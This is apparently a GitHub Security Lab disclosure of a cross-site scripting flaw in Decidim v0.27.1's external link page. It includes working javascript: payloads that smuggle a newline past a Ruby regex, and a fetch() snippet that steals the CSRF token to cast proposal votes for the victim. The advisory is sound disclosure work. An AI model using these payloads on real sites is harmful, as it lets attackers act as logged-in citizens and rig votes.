Coordinated Disclosure Timeline

Summary

Decidim, a platform for digital citizen participation, has an external link feature which was vulnerable to Cross-site scripting (XSS). This would have allowed attackers to perform actions on behalf of logged-in users, potentially tricking citizens to support proposals without their consent.

Product

Decidim

Tested Version

v0.27.1

Details

The external link feature of Decidim was vulnerable to Cross-site scripting (XSS). The external link feature of Decidim warns users before visiting a so-called external website. The feature displays the URL to the user and highlights the hostname of the external web page. The actual link that the user will click on is directly coming from a GET parameter. The submitted URL is validated against the following regular expression (Regex) in the LinksController:

parts = external_url.match %r{^(([a-z]+):)?//([^/]+)(/.*)?$}

This Regex splits the given URL in multiple parts and makes sure the URL contains two forward slashes /. This prevents the direct injection of a working JavaScript URL, since the two-slash requirement transforms the code that follows into a comment. Unfortunately, in contrast to other programming languages the default Regex matching mode of Ruby is multi-line. So, the Regex shown above has to match on one line only. If we can smuggle additional lines through these code areas, we can still render a JavaScript URL in the resulting HTML page. This payload would look like this:

javascript:alert(document.location.host)//%0ahttps://securitylab.github.com

The %0a character marks the required newline for the payload to be smuggled through. The additional forward slashes before the new line are used to comment out everything coming afterwards from the perspective of the leading JavaScript payload. Since the full payload is matched by the Regex shown above and the parts of its output are later used to display the URL to the user, the actual URL displayed to the user is the part after the new line (https://securitylab.github.com in this sample). Accordingly, the emphasized host is securitylab.github.com. If a Decidim user clicks on this link using the “Proceed” button the JavaScript is executed in context of the actual website. This means the attacker can use the logged-in user to perform actions on their behalf. The combined URL an attacker could use would look like this:

https://<decidim-host>/link?external_url=javascript:alert(document.location.host)//%0ahttps://securitylab.github.com

This vulnerability was found using CodeQL’s reflected cross-site scripting query for Ruby.

Manipulating votes: A more advanced attack scenario

An attacker could use this vulnerability to make other users endorse or support proposals they have no intention of supporting or endorsing. A sample JavaScript code snippet to let a user support a specific proposal could look like this:

fetch("/processes/consequuntur-aperiam/f/12/proposals/8/proposal_vote",
    {
        "headers":
        {
            "x-csrf-token": document.querySelector('[name="csrf-token"]').getAttribute("content"),
            "x-requested-with": "XMLHttpRequest"
        },
        "method": "POST",
        "mode": "cors",
        "credentials": "include"
    }
)

This JavaScript snippet extracts the CSRF-token from the current DOM and uses it to create a POST request to the Decidim proposal with the given URL. For this it uses the Fetch API supported by all modern browsers.

If we URL encode this payload it looks like this:

javascript:fetch%28%22%2Fprocesses%2Fconsequuntur%2Daperiam%2Ff%2F12%2Fproposals%2F8%2Fproposal%5Fvote%22%2C%20%7B%22headers%22%3A%7B%22x%2Dcsrf%2Dtoken%22%3Adocument%2EquerySelectorAll%28%27%5Bname%3D%22csrf%2Dtoken%22%5D%27%29%5B0%5D%2EgetAttribute%28%22content%22%29%2C%22x%2Drequested%2Dwith%22%3A%20%22XMLHttpRequest%22%7D%2C%22method%22%3A%20%22POST%22%2C%22mode%22%3A%20%22cors%22%2C%22credentials%22%3A%20%22include%22%7D%29//%0ahttps://securitylab.github.com

The attacker could post a link with such a Javascript URL as a comment or as part of a proposal. If the WYSIWYG editor is enabled on the Decidim instance under attack the user could even use the link feature to better hide the, admittedly long and strange looking, link. In addition to that, such links could be distributed via email to specifically target certain individuals (This works as long as the user is logged in into the Decidim instance).

Impact

This issue could have allowed attackers to perform actions on behalf of logged-in users such as voting on proposals via Cross-site scripting (XSS).

Remediation

A generic remediation advice for this and similar cases would be:

Resources

CVE

Credit

This issue was discovered and reported by GHSL team member @p- (Peter Stöckli).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-006 in any communication regarding this issue.